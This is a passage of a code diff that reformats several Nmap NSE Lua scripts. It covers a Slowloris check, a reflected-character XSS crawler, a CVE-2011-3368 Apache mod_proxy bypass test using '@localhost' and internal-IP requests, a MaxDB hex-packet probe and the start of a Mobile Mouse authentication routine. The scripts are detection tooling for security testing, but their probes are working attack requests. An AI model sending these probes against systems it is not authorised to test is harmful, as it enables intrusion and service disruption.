exploit_results = {},
|
||||
}
|
||||
]],
|
||||
references = {
|
||||
'http://ha.ckers.org/slowloris/',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2009', month = '09', day = '17'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
slowloris.state = vulns.STATE.NOT_VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
slowloris.state = vulns.STATE.NOT_VULN
|
||||
|
||||
local _
|
||||
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
|
||||
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
|
||||
"Host: " .. host.ip .. "\r\n" ..
|
||||
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
|
||||
"Content-Length: 42\r\n"
|
||||
-- both threads run at the same time
|
||||
local thread1 = stdnse.new_thread(slowThread1, host, port)
|
||||
local thread2 = stdnse.new_thread(slowThread2, host, port)
|
||||
while true do -- wait for both threads to die
|
||||
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
|
||||
break
|
||||
end
|
||||
stdnse.sleep(1)
|
||||
end
|
||||
-- compare times
|
||||
if ( not(TimeWith) or not(TimeWithout) ) then
|
||||
return
|
||||
end
|
||||
local diff = TimeWith - TimeWithout
|
||||
stdnse.print_debug("Time difference is: %d",diff)
|
||||
-- if second connection died 10 or more seconds after the first
|
||||
-- it means that sending additional data prolonged the connection's time
|
||||
-- and the server is vulnerable to slowloris attack
|
||||
if diff >= 10 then
|
||||
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
|
||||
slowloris.state = vulns.STATE.VULN
|
||||
end
|
||||
return report:make_output(slowloris)
|
||||
local _
|
||||
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
|
||||
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
|
||||
"Host: " .. host.ip .. "\r\n" ..
|
||||
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
|
||||
"Content-Length: 42\r\n"
|
||||
-- both threads run at the same time
|
||||
local thread1 = stdnse.new_thread(slowThread1, host, port)
|
||||
local thread2 = stdnse.new_thread(slowThread2, host, port)
|
||||
while true do -- wait for both threads to die
|
||||
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
|
||||
break
|
||||
end
|
||||
stdnse.sleep(1)
|
||||
end
|
||||
-- compare times
|
||||
if ( not(TimeWith) or not(TimeWithout) ) then
|
||||
return
|
||||
end
|
||||
local diff = TimeWith - TimeWithout
|
||||
stdnse.print_debug("Time difference is: %d",diff)
|
||||
-- if second connection died 10 or more seconds after the first
|
||||
-- it means that sending additional data prolonged the connection's time
|
||||
-- and the server is vulnerable to slowloris attack
|
||||
if diff >= 10 then
|
||||
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
|
||||
slowloris.state = vulns.STATE.VULN
|
||||
end
|
||||
return report:make_output(slowloris)
|
||||
end
|
||||
|
||||
@@ -47,117 +47,117 @@ categories = {"discovery", "intrusive"}
|
||||
portrule = shortport.http
|
||||
|
||||
local function dbg(str,...)
|
||||
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
|
||||
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
|
||||
end
|
||||
|
||||
local function getHostPort(parsed)
|
||||
local host, port = parsed.host, parsed.port
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
return host, port
|
||||
local host, port = parsed.host, parsed.port
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
return host, port
|
||||
end
|
||||
local function getReflected(parsed, r)
|
||||
local reflected_values,not_reflected_values = {},{}
|
||||
local count = 0
|
||||
-- Now, we need to check the parameters and keys
|
||||
local q = url.parse_query(parsed.query)
|
||||
-- Check the values (and keys) and see if they are reflected in the page
|
||||
for k,v in pairs(q) do
|
||||
if r.response.body and r.response.body:find(v, 1, true) then
|
||||
dbg("Reflected content %s=%s", k,v)
|
||||
reflected_values[k] = v
|
||||
count = count +1
|
||||
else
|
||||
not_reflected_values[k] = v
|
||||
end
|
||||
end
|
||||
if count > 0 then
|
||||
return reflected_values,not_reflected_values,q
|
||||
end
|
||||
local reflected_values,not_reflected_values = {},{}
|
||||
local count = 0
|
||||
-- Now, we need to check the parameters and keys
|
||||
local q = url.parse_query(parsed.query)
|
||||
-- Check the values (and keys) and see if they are reflected in the page
|
||||
for k,v in pairs(q) do
|
||||
if r.response.body and r.response.body:find(v, 1, true) then
|
||||
dbg("Reflected content %s=%s", k,v)
|
||||
reflected_values[k] = v
|
||||
count = count +1
|
||||
else
|
||||
not_reflected_values[k] = v
|
||||
end
|
||||
end
|
||||
if count > 0 then
|
||||
return reflected_values,not_reflected_values,q
|
||||
end
|
||||
end
|
||||
|
||||
local function addPayload(v)
|
||||
return v.."ghz%3Ehzx%22zxc%27xcv"
|
||||
return v.."ghz%3Ehzx%22zxc%27xcv"
|
||||
end
|
||||
|
||||
local function createMinedLinks(reflected_values, all_values)
|
||||
local new_links = {}
|
||||
for k,v in pairs(reflected_values) do
|
||||
-- First of all, add the payload to the reflected param
|
||||
local urlParams = { [k] = addPayload(v)}
|
||||
for k2,v2 in pairs(all_values) do
|
||||
if k2 ~= k then
|
||||
urlParams[k2] = v2
|
||||
end
|
||||
end
|
||||
new_links[k] = url.build_query(urlParams)
|
||||
end
|
||||
return new_links
|
||||
local new_links = {}
|
||||
for k,v in pairs(reflected_values) do
|
||||
-- First of all, add the payload to the reflected param
|
||||
local urlParams = { [k] = addPayload(v)}
|
||||
for k2,v2 in pairs(all_values) do
|
||||
if k2 ~= k then
|
||||
urlParams[k2] = v2
|
||||
end
|
||||
end
|
||||
new_links[k] = url.build_query(urlParams)
|
||||
end
|
||||
return new_links
|
||||
end
|
||||
|
||||
local function locatePayloads(response)
|
||||
local results = {}
|
||||
if response.body:find("ghz>hzx") then table.insert(results,">") end
|
||||
if response.body:find('hzx"zxc') then table.insert(results,'"') end
|
||||
if response.body:find("zxc'xcv") then table.insert(results,"'") end
|
||||
return #results > 0 and results
|
||||
local results = {}
|
||||
if response.body:find("ghz>hzx") then table.insert(results,">") end
|
||||
if response.body:find('hzx"zxc') then table.insert(results,'"') end
|
||||
if response.body:find("zxc'xcv") then table.insert(results,"'") end
|
||||
return #results > 0 and results
|
||||
end
|
||||
|
||||
local function visitLinks(host, port,parsed,new_links, results,original_url)
|
||||
for k,query in pairs(new_links) do
|
||||
local ppath = url.parse_path(parsed.path or "")
|
||||
local url = url.build_path(ppath)
|
||||
if parsed.params then url = url .. ";" .. parsed.params end
|
||||
url = url .. "?" .. query
|
||||
dbg("Url to visit: %s", url)
|
||||
local response = http.get(host, port, url)
|
||||
local result = locatePayloads(response)
|
||||
if result then
|
||||
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
|
||||
end
|
||||
end
|
||||
for k,query in pairs(new_links) do
|
||||
local ppath = url.parse_path(parsed.path or "")
|
||||
local url = url.build_path(ppath)
|
||||
if parsed.params then url = url .. ";" .. parsed.params end
|
||||
url = url .. "?" .. query
|
||||
dbg("Url to visit: %s", url)
|
||||
local response = http.get(host, port, url)
|
||||
local result = locatePayloads(response)
|
||||
if result then
|
||||
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
crawler:set_timeout(10000)
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local results = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
local results = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- parse the returned url
|
||||
local parsed = url.parse(tostring(r.url))
|
||||
-- We are only interested in links which have parameters
|
||||
if parsed.query and #parsed.query > 0 then
|
||||
local host, port = getHostPort(parsed)
|
||||
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
|
||||
-- parse the returned url
|
||||
local parsed = url.parse(tostring(r.url))
|
||||
-- We are only interested in links which have parameters
|
||||
if parsed.query and #parsed.query > 0 then
|
||||
local host, port = getHostPort(parsed)
|
||||
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
|
||||
|
||||
|
||||
-- Now,were any reflected ?
|
||||
if reflected_values then
|
||||
-- Ok, create new links with payloads in the reflected slots
|
||||
local new_links = createMinedLinks(reflected_values, all_values)
|
||||
-- Now,were any reflected ?
|
||||
if reflected_values then
|
||||
-- Ok, create new links with payloads in the reflected slots
|
||||
local new_links = createMinedLinks(reflected_values, all_values)
|
||||
|
||||
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
|
||||
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( #results> 0 ) then
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
|
||||
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( #results> 0 ) then
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -120,7 +120,7 @@ local testThread = function(result, host, port, name)
|
||||
local condvar = nmap.condvar(result)
|
||||
local targetname = makeTargetName(name , arg_domain)
|
||||
if targetname ~= nil then
|
||||
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
|
||||
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
|
||||
|
||||
if not http_response.status then
|
||||
result["ERROR"] = result["ERROR"] or {}
|
||||
|
||||
@@ -54,108 +54,108 @@ portrule = shortport.http
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local vuln = {
|
||||
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
|
||||
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
|
||||
description = [[
|
||||
local vuln = {
|
||||
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
|
||||
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
|
||||
description = [[
|
||||
An exposure was reported affecting the use of Apache HTTP Server in
|
||||
reverse proxy mode. The exposure could inadvertently expose internal
|
||||
servers to remote users who send carefully crafted requests.]],
|
||||
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
|
||||
dates = {
|
||||
disclosure = { year='2011', month='10', day='05'}
|
||||
},
|
||||
}
|
||||
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
|
||||
dates = {
|
||||
disclosure = { year='2011', month='10', day='05'}
|
||||
},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
|
||||
|
||||
-- Take a reference chrono for a 404
|
||||
local start = os.time(os.date('*t'))
|
||||
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
|
||||
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
|
||||
local chrono_404 = os.time(os.date('*t'))-start
|
||||
-- Take a reference chrono for a 404
|
||||
local start = os.time(os.date('*t'))
|
||||
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
|
||||
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
|
||||
local chrono_404 = os.time(os.date('*t'))-start
|
||||
|
||||
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
|
||||
local all
|
||||
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
|
||||
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
|
||||
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
|
||||
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
|
||||
local all
|
||||
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
|
||||
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
|
||||
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
|
||||
|
||||
local bypass_request = http.pipeline_go(host,port, all)
|
||||
if ( not(bypass_request) ) then
|
||||
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
|
||||
return "\n ERROR: Got no answers from pipelined queries"
|
||||
end
|
||||
local bypass_request = http.pipeline_go(host,port, all)
|
||||
if ( not(bypass_request) ) then
|
||||
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
|
||||
return "\n ERROR: Got no answers from pipelined queries"
|
||||
end
|
||||
|
||||
|
||||
-- going through the results of TEST 1 we could see
|
||||
-- * 200 OK
|
||||
-- o This could be the result of the server being vulnerable
|
||||
-- o This could also be the result of a generic error page
|
||||
-- * 40X Error
|
||||
-- o This is most likely the result of the server NOT being vulnerable
|
||||
--
|
||||
-- We can not determine whether the server is vulnerable or not solely
|
||||
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
|
||||
local got_200_ok
|
||||
for _, response in ipairs(bypass_request) do
|
||||
if ( response.status == 200 ) then
|
||||
got_200_ok = true
|
||||
end
|
||||
end
|
||||
-- going through the results of TEST 1 we could see
|
||||
-- * 200 OK
|
||||
-- o This could be the result of the server being vulnerable
|
||||
-- o This could also be the result of a generic error page
|
||||
-- * 40X Error
|
||||
-- o This is most likely the result of the server NOT being vulnerable
|
||||
--
|
||||
-- We can not determine whether the server is vulnerable or not solely
|
||||
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
|
||||
local got_200_ok
|
||||
for _, response in ipairs(bypass_request) do
|
||||
if ( response.status == 200 ) then
|
||||
got_200_ok = true
|
||||
end
|
||||
end
|
||||
|
||||
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
|
||||
if ( not(got_200_ok) ) then
|
||||
vuln.state = vulns.STATE.NOT_VULN
|
||||
return report:make_output(vuln)
|
||||
end
|
||||
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
|
||||
if ( not(got_200_ok) ) then
|
||||
vuln.state = vulns.STATE.NOT_VULN
|
||||
return report:make_output(vuln)
|
||||
end
|
||||
|
||||
for i=1, #bypass_request, 1 do
|
||||
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
|
||||
for i=1, #bypass_request, 1 do
|
||||
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
|
||||
|
||||
-- here a 400 should be the evidence for a patched server.
|
||||
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
|
||||
-- here a 400 should be the evidence for a patched server.
|
||||
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
|
||||
|
||||
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
|
||||
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
|
||||
local tests = {
|
||||
{ prefix = "", suffix = "" },
|
||||
{ prefix = ":", suffix = ""},
|
||||
{ prefix = ":", suffix = ":80"}
|
||||
}
|
||||
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
|
||||
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
|
||||
local tests = {
|
||||
{ prefix = "", suffix = "" },
|
||||
{ prefix = ":", suffix = ""},
|
||||
{ prefix = ":", suffix = ":80"}
|
||||
}
|
||||
|
||||
-- try a bunch of hosts, and hope we hit one thats
|
||||
-- not on the network, this will give us the delay we're expecting
|
||||
local hosts = {
|
||||
"10.10.10.10",
|
||||
"192.168.211.211",
|
||||
"172.16.16.16"
|
||||
}
|
||||
-- try a bunch of hosts, and hope we hit one thats
|
||||
-- not on the network, this will give us the delay we're expecting
|
||||
local hosts = {
|
||||
"10.10.10.10",
|
||||
"192.168.211.211",
|
||||
"172.16.16.16"
|
||||
}
|
||||
|
||||
-- perform one request for each host, and stop once we
|
||||
-- receive a timeout for one of them
|
||||
for _, h in ipairs(hosts) do
|
||||
local response = http.get(
|
||||
host,
|
||||
port,
|
||||
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
|
||||
{ timeout = ( chrono_404 + 5 ) * 1000 }
|
||||
)
|
||||
-- check if the GET timed out
|
||||
if ( not(response.status) ) then
|
||||
vuln.state = vulns.STATE.VULN
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
-- perform one request for each host, and stop once we
|
||||
-- receive a timeout for one of them
|
||||
for _, h in ipairs(hosts) do
|
||||
local response = http.get(
|
||||
host,
|
||||
port,
|
||||
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
|
||||
{ timeout = ( chrono_404 + 5 ) * 1000 }
|
||||
)
|
||||
-- check if the GET timed out
|
||||
if ( not(response.status) ) then
|
||||
vuln.state = vulns.STATE.VULN
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
|
||||
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
|
||||
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
|
||||
vuln.extra_info = "Proxy allows requests to external websites"
|
||||
end
|
||||
return report:make_output(vuln)
|
||||
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
|
||||
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
|
||||
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
|
||||
vuln.extra_info = "Proxy allows requests to external websites"
|
||||
end
|
||||
return report:make_output(vuln)
|
||||
end
|
||||
|
||||
|
||||
@@ -43,31 +43,31 @@ portrule = shortport.port_or_service(7210, "maxdb", "tcp")
|
||||
-- @return status true on success, false on failure
|
||||
-- @return data string containing the raw response from the server
|
||||
local function exchPacket(socket, packet)
|
||||
local status, err = socket:send(packet)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to send packet to server")
|
||||
return false, "Failed to send packet to server"
|
||||
end
|
||||
local status, err = socket:send(packet)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to send packet to server")
|
||||
return false, "Failed to send packet to server"
|
||||
end
|
||||
|
||||
local data
|
||||
status, data= socket:receive()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to read packet from server")
|
||||
return false, "Failed to read packet from server"
|
||||
end
|
||||
local pos, len = bin.unpack("<S", data)
|
||||
local data
|
||||
status, data= socket:receive()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to read packet from server")
|
||||
return false, "Failed to read packet from server"
|
||||
end
|
||||
local pos, len = bin.unpack("<S", data)
|
||||
|
||||
-- make sure we've got it all
|
||||
if ( len ~= #data ) then
|
||||
local tmp
|
||||
status, tmp = socket:receive_bytes(len - #data)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to read packet from server")
|
||||
return false, "Failed to read packet from server"
|
||||
end
|
||||
data = data .. tmp
|
||||
end
|
||||
return true, data
|
||||
-- make sure we've got it all
|
||||
if ( len ~= #data ) then
|
||||
local tmp
|
||||
status, tmp = socket:receive_bytes(len - #data)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "Failed to read packet from server")
|
||||
return false, "Failed to read packet from server"
|
||||
end
|
||||
data = data .. tmp
|
||||
end
|
||||
return true, data
|
||||
end
|
||||
|
||||
-- Sends and receives a MaxDB command and does some very basic checks of the
|
||||
@@ -77,16 +77,16 @@ end
|
||||
-- @return status true on success, false on failure
|
||||
-- @return data string containing the raw response from the server
|
||||
local function exchCommand(socket, packet)
|
||||
local status, data = exchPacket(socket, packet)
|
||||
if( status ) then
|
||||
if ( #data < 26 ) then
|
||||
return false, "Response to short"
|
||||
end
|
||||
if ( "OK" ~= data:sub(25, 26) ) then
|
||||
return false, "Incorrect response from server (no OK found)"
|
||||
end
|
||||
end
|
||||
return status, data
|
||||
local status, data = exchPacket(socket, packet)
|
||||
if( status ) then
|
||||
if ( #data < 26 ) then
|
||||
return false, "Response to short"
|
||||
end
|
||||
if ( "OK" ~= data:sub(25, 26) ) then
|
||||
return false, "Incorrect response from server (no OK found)"
|
||||
end
|
||||
end
|
||||
return status, data
|
||||
end
|
||||
|
||||
-- Parses and decodes the raw version response from the server
|
||||
@@ -99,78 +99,78 @@ end
|
||||
-- <code>SYSNAME</code>, <code>MASKING</code>,
|
||||
-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
|
||||
local function parseVersion(data)
|
||||
local version_info = {}
|
||||
if ( #data > 27 ) then
|
||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
|
||||
if ( key ) then version_info[key] = val end
|
||||
end
|
||||
end
|
||||
return version_info
|
||||
local version_info = {}
|
||||
if ( #data > 27 ) then
|
||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
|
||||
if ( key ) then version_info[key] = val end
|
||||
end
|
||||
end
|
||||
return version_info
|
||||
end
|
||||
|
||||
-- Parses and decodes the raw database response from the server
|
||||
-- @param data string containing the raw response
|
||||
-- @return result string containing a table of database instance information
|
||||
local function parseDatabases(data)
|
||||
local result = tab.new(5)
|
||||
tab.addrow(result, "instance", "path", "version", "kernel", "state")
|
||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||
local cols = {}
|
||||
cols.instance, cols.path, cols.ver, cols.kernel,
|
||||
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
|
||||
if ( cols.instance ) then
|
||||
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
|
||||
end
|
||||
end
|
||||
return tab.dump(result)
|
||||
local result = tab.new(5)
|
||||
tab.addrow(result, "instance", "path", "version", "kernel", "state")
|
||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||
local cols = {}
|
||||
cols.instance, cols.path, cols.ver, cols.kernel,
|
||||
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
|
||||
if ( cols.instance ) then
|
||||
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
|
||||
end
|
||||
end
|
||||
return tab.dump(result)
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
-- this could really be more elegant, but it has to do for now
|
||||
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
||||
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
|
||||
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
|
||||
-- this could really be more elegant, but it has to do for now
|
||||
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
||||
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
|
||||
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host, port)
|
||||
local data
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host, port)
|
||||
local data
|
||||
|
||||
status, data = exchPacket(socket, bin.pack("H", handshake))
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to perform handshake with MaxDB server"
|
||||
end
|
||||
status, data = exchPacket(socket, bin.pack("H", handshake))
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to perform handshake with MaxDB server"
|
||||
end
|
||||
|
||||
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to request version information from server"
|
||||
end
|
||||
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to request version information from server"
|
||||
end
|
||||
|
||||
local version_info = parseVersion(data)
|
||||
if ( not(version_info) ) then
|
||||
return "\n ERROR: Failed to parse version information from server"
|
||||
end
|
||||
local version_info = parseVersion(data)
|
||||
if ( not(version_info) ) then
|
||||
return "\n ERROR: Failed to parse version information from server"
|
||||
end
|
||||
|
||||
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
||||
for _, f in ipairs(filter) do
|
||||
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
|
||||
end
|
||||
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
||||
for _, f in ipairs(filter) do
|
||||
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
|
||||
end
|
||||
|
||||
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to request version information from server"
|
||||
end
|
||||
local dbs = parseDatabases(data)
|
||||
table.insert(result, { name = "Databases", dbs } )
|
||||
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to request version information from server"
|
||||
end
|
||||
local dbs = parseDatabases(data)
|
||||
table.insert(result, { name = "Databases", dbs } )
|
||||
|
||||
-- set the version information
|
||||
port.version.name = "maxdb"
|
||||
port.version.product = "SAP MaxDB"
|
||||
port.version.version = version_info.VERSION
|
||||
port.version.ostype = version_info.SYSNAME
|
||||
nmap.set_port_version(host, port)
|
||||
-- set the version information
|
||||
port.version.name = "maxdb"
|
||||
port.version.product = "SAP MaxDB"
|
||||
port.version.version = version_info.VERSION
|
||||
port.version.ostype = version_info.SYSNAME
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -50,130 +50,130 @@ local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
|
||||
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
||||
|
||||
local function receiveData(socket, cmd)
|
||||
local status, data = ""
|
||||
repeat
|
||||
status, data = socket:receive_buf("\04", true)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
until( cmd == nil or data:match("^" .. cmd) )
|
||||
return true, data
|
||||
local status, data = ""
|
||||
repeat
|
||||
status, data = socket:receive_buf("\04", true)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
until( cmd == nil or data:match("^" .. cmd) )
|
||||
return true, data
|
||||
end
|
||||
|
||||
local function authenticate(socket, password)
|
||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||
local devname = "Lord Vaders iPad"
|
||||
local suffix = "2".."\30".."2".."\04"
|
||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||
local devname = "Lord Vaders iPad"
|
||||
local suffix = "2".."\30".."2".."\04"
|
||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||
|
||||
local status = socket:send(auth)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
local status = socket:send(auth)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
|
||||
local status, data = receiveData(socket)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
local status, data = receiveData(socket)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
|
||||
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
|
||||
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
|
||||
|
||||
if ( success == "YES" ) then
|
||||
if ( os ~= 'MAC' ) then
|
||||
return false, "Non MAC platform detected, script has only been tested on MAC"
|
||||
end
|
||||
